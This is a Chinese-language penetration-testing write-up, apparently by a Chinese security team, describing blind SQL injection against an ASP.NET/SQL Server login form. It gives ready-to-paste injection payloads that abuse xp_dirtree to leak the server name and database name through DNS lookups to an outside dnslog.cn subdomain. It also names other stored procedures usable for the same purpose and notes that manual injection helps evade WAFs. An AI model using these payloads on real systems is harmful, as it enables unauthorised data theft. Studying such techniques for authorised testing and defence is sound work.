0x01 前言
在渗透测试中很多时候会遇到无报错回显的情况,除了一个个猜解以外,还可以结合DNSlog来快速获取数据库信息,本文主要介绍在MSSQL数据库下的DNSlog利用。
0x02 登陆框下的注入
目标为某系统的登陆页面,经过简单测试,发现存在sql注入漏洞。
sqlmap一把梭,发现可以跑出数据库信息。
网站是 asp.net + SQL server 搭建,最近在研究DNSlog ,所以想使用手工注入的方式快速获取数据库信息,并对DNSlog 注入的payload 进行分析研究。
在DNSlog 平台申请子域名,我这里使用的DNSlog 平台是 http://dnslog.cn/
手工构造 SQLSERVER dnslog无回显注入payload 获取服务器机器名称;
admin';DECLARE @payload varchar(8000);SET @payload=(SELECT @@SERVERNAME)+'.m6a8jd.dnslog.cn';EXEC('master..xp_dirtree"\'+@payload+'foobar$"');--
这里面用到的是sqlserver 的存储过程master..xp_dirtree,这个存储过程用来列磁盘目录,也可以用来发送DNS请求。
修改中间的payload 变量,获取当前数据库名称,使用burpsuite 重放,成功获取数据库名称,如下图:
admin';DECLARE @payload varchar(8000);SET @payload=(SELECT DB_NAME())+'.m6a8jd.dnslog.cn';EXEC('master..xp_dirtree"\'+@payload+'foobar$"');--
通过修改中间的payload 变量,可以列库,列表,列字段,查询表中的数据内容。
这里需要补充说明下,除了master..xp_dirtree 这个存在过程,还有master..xp_fileexist,master..xp_subdirs 也可以用来构造DNSlog POC
0x03 总结
常见的SQL盲注有布尔型,时间延迟型,堆叠型注入等, 通过DNSlog 可以快速获取数据库信息,有时候使用sqlmap 等自动化注入工具容易被WAF 拦截,使用手工注入可以增加绕过WAF 的成功率
0x04 免责声明
本文仅限于技术研究学习,切勿将文中技术细节用作非法用途,如有违者后果自负。
关于我们
“TERRA星环”安全团队正式成立于2020年,是贵州泰若数字科技有限公司旗下以互联网攻防技术研究为目标的安全团队。团队核心成员长期从事渗透测试、代码审计、应急响应等安服工作,多次参与国家、省级攻防演练行动,具备丰富的安服及攻防对抗经验。
团队专注于漏洞挖掘、漏洞研究、红蓝对抗、CTF夺旗、溯源取证、威胁情报、代码审计、逆向分析等研究。对外提供安全评估、安全培训、安全咨询、安全集成、应急响应等服务。
原文始发于微信公众号(TERRA星环安全团队):【渗透测试】MSSQL盲注实战
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论